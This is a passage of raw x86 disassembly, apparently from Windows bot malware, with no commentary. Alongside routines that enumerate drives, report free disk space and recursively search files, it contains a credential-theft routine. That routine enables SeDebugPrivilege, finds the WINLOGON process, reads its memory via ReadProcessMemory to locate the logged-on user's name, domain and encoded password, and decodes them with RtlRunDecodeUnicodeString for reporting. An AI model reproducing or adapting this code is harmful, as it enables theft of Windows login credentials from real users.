locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h ; Size
mov edi, offset dword_4D35F8
push 0 ; Val
push edi ; Dst
call _memset
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call __aullrem
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call __aulldiv
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA34 ; GetDriveTypeA
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383AC
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383A8
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8C4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
Dest = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call __alldiv
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi ; Format
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi ; Format
lea eax, [ebp+var_118]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call __alldiv
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi ; Format
lea eax, [ebp+var_98]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+Dest]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416EFD(int,char *Str,int,int)
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
Dest = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
Str1 = byte ptr -80h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+Str1]
push offset aFailed ; "failed"
rep movsd
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset asc_4383FC ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+Str1]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset asc_4383C0 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416FCF(int,char *Str,int,int)
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB93C ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi ; Size
call _malloc
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB93C ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset aA_1 ; "A:\\"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi ; Str
call _strlen
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417054 proc near ; DATA XREF: sub_401ACD+67C1o
Dest = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = dword ptr -218h
var_115 = byte ptr -115h
Str = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+Str]
push eax ; Str
call _strlen
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4170A9
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_115], bl
loc_4170A9: ; CODE XREF: sub_417054+3Fj
lea eax, [ebp+var_218]
push eax
push offset asc_43845C ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4170EE
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_409869
add esp, 14h
loc_4170EE: ; CODE XREF: sub_417054+78j
lea eax, [ebp+Str]
push ebx ; int
push eax ; int
lea eax, [ebp+var_218]
push eax ; int
lea eax, [ebp+var_298]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_29C] ; int
call sub_41716F
add esp, 18h
push eax
lea eax, [ebp+Dest]
push offset asc_43843C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41714F
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_409869
add esp, 14h
loc_41714F: ; CODE XREF: sub_417054+D9j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_417054 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41716F(int,char *Str,int,int,int,int)
sub_41716F proc near ; CODE XREF: sub_417054+B9p
; sub_41716F+9Ep
var_54C = dword ptr -54Ch
var_34C = dword ptr -34Ch
Dest = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+Dest]
push offset aS_3 ; "%s\\*"
push esi ; Count
push eax ; Dest
call __snprintf
mov edi, ds:dword_427124
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset Format ; "%s\\%s"
jz short loc_41722C
loc_4171BB: ; CODE XREF: sub_41716F+BBj
test [ebp+var_144], 10h
jz short loc_417218
cmp [ebp+var_118], 2Eh
jnz short loc_4171DF
cmp [ebp+var_117], 0
jz short loc_417218
cmp [ebp+var_117], 2Eh
jz short loc_417218
loc_4171DF: ; CODE XREF: sub_41716F+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+arg_14] ; int
lea eax, [ebp+var_34C]
push eax ; int
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_41716F
add esp, 2Ch
mov [ebp+arg_14], eax
loc_417218: ; CODE XREF: sub_41716F+53j
; sub_41716F+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_4171BB
loc_41722C: ; CODE XREF: sub_41716F+4Aj
push [ebp+var_4]
call ds:dword_427000 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4172B2
loc_417263: ; CODE XREF: sub_41716F+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset asc_438484 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+var_54C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_417263
loc_4172B2: ; CODE XREF: sub_41716F+F2j
push esi
call ds:dword_427000 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41716F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
Dest = byte ptr -29Ch
var_9C = dword ptr -9Ch
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438678
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_4270C0 ; LoadLibraryA
mov esi, ds:dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D483C, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4830, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D4A40, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4838, eax
call esi ; GetProcAddress
mov dword_4D4834, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, ds:dword_427148
mov edi, 400h
mov ebx, offset word_4D3830
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset word_4D4030
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D4A48
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A48, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset asc_438540 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438508
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset asc_4384DC ; "-"
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
call ds:dword_427144 ; FreeLibrary
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset asc_4384A8 ; "-"
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_9C] ; int
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
String = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_427150
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D483C
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D483C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+String], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4830
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A40
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4838
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+String]
cmp [esp+28h+String], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
mov [esp+28h+String], eax
loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+String], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4838
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_42708C ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_427160 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_427154
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_427150
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_427158 ; VirtualQueryEx
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi ; Str2
push offset word_4D3830 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax ; Str2
push offset word_4D4030 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_42711C ; FileTimeToLocalFileTime
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_427118 ; FileTimeToSystemTime
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A54, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A4C, eax
mov Src, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
call ds:dword_427070 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call ds:dword_42708C ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_427160 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, ds:dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
